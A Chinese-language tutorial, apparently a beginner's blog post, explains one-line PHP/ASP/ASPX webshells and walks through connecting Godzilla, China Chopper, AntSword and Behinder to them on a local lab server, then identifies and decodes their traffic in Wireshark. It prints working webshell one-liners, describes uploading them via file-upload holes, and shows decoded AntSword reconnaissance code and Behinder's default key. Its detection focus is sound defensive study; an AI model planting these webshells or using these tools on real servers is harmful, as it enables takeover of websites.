写在前面:

各位师傅们好,小白刚刚接触这一部分内容,许多地方还是一知半解,写下这篇文章也是为了以后深入学习有个参考。在您阅读的过程中,如果有发现我的错误,希望师傅们可以指出!

baimi拜谢师傅们!**

一句话木马

在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢?

先来看看最简单的一句话木马:

<?php @eval($_POST['attack']);?>

【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。

入侵条件

其中,只要攻击者满足三个条件,就能实现成功入侵:

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

常见形式

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

哥斯拉(Godzilla)

下载地址:

https://github.com/BeichenDream/Godzilla/releases/download/v4.0.1-godzilla/godzilla.jar

哥斯拉有多种加密方式,此处仅有PHP

生成攻击paylode

打开 godzilla.jar,在管理中找到生成,生成一个攻击payload,注意填入密码,及加密类型要记好,连接要用

image-20240116202031127

并将其存放在phpstydy_pro/www目录下

image-20240116202334042

连接webshell

打开小皮面板(phpstudy),开启Apache2.4.39,其他默认即可

image-20240116202847831

在Godzilla.jar的目标中找到添加

http://localhost/1.php

测试连接则说明配置成功,添加即可

image-20240116203215502

流量分析

特征总结:
“pass=”起始。
请求包较长 响应包为0。
一个tcp包里面有三个http,http报文共6个三去三回

打开wireshark,找到Adapter for loopback traffic capture打开即可,随后在哥斯拉中打开刚才添加的1.php连接,追踪tcp流即可看到

连接过程请求体

请求包长度 53767pass=“#####”

image-20240116204242574

响应包长度:0

image-20240116204452484

共6个http报文,三去三回

image-20240116204537214

连接过程响应体:

Set-Cookie: PHPSESSID=2ljifouhklemf9kd5olunus7lp; path=/

Content-Length: 0

image-20240116204729126

命令执行过程请求体:

pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgA……

72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488

image-20240116205531200

命令执行过程响应体

Set-Cookie: PHPSESSID=2hnrph9b01sd41r5fe59u5tdfe; path=/

image-20240116205732651

加密过程

pass=eval%28base64_decode%28strrev%28urldecode%28

即base64–>strrec字符串逆序–>url编码

解密

url在线加解密——开发者在线工具,工具猫 (toolscat.com)

在线字符串反转 - 在线工具 (gv99.com)

Base64 编码/解码 - 在线工具 (toolhelper.cn)

image-20240116214913096

中国菜刀(caidao)

攻击paylode

shell.php放在phpstydy_pro/www/127.0.0.2目录下

<?php eval($_REQUEST[123])?>

连接webshell

打开小皮面板(phpstudy)

http://127.0.0.2/shell.php

image-20240117171610627

成功后就可以开始获取流量包了。

流量分析

wireshark中和哥斯拉操作相同

image-20240117173254138

共4个http报文,两去俩回

image-20240117173422611

菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都 会变化

解密

将这段 post 请求先进行 url 解码,根据途中断断续续的base64提示,再进行base64解码

image-20240117173737114

image-20240117173753459

蚁剑(AntSword)

攻击paylode

延用菜刀的即可

连接webshell

image-20240117175737433

成功后就可以开始获取流量包了。

流量分析

蚁剑流量特征两大特征

​ 1、默认的 user-agent 请求头是 antsword xxx(可修改)

​ 2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set(“display_errors”,”0”);

image-20240117175721277

解密

url解密

image-20240117180432662

@ini_set("display_errors", "0");
@set_time_limit(0);$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.9238c7c";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bd43"."12f2";echo @asenc($output);echo "36f352"."e43b47";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

查看其代码发现有多个危险函数使用,如@ini_set(“display_errors”,“0”)、dirname、get_current_user等,如果再文中发现其他编码的明显特征,要进行二次解码

冰蝎(Behinder)

下载地址

Releases · rebeyond/Behinder (github.com)

生成攻击paylode

打开Behinde.jar,菜单栏有传输协议,选择协议default_XOR_base64,即可生成shell.php和shell.jsp文件

image-20240117184421473

把shell.php复制到phpstydy_pro/www/127.0.0.2目录下

连接webshell

image-20240117184552299

成功后就可以开始获取流量包了。

流量分析

Accept: application/json, text/javascript, /; q=0.01

Content-type: Application/x-www-form-urlencoded

PHP webshell中存在固定代码

$post=Decrypt(file_get_contents("php://input"));

eval($post);

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。

Connection: Keep-Alive

请求字节头:

dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:

TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时,所有冰蝎4.0 webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

解密

AES批量加密解密 - 在线工具 (bugscaner.com)

Base64 编码/解码 - 在线工具 (toolhelper.cn)

参考文章:

https://www.freebuf.com/articles/network/345803.html

https://zhuanlan.zhihu.com/p/575575239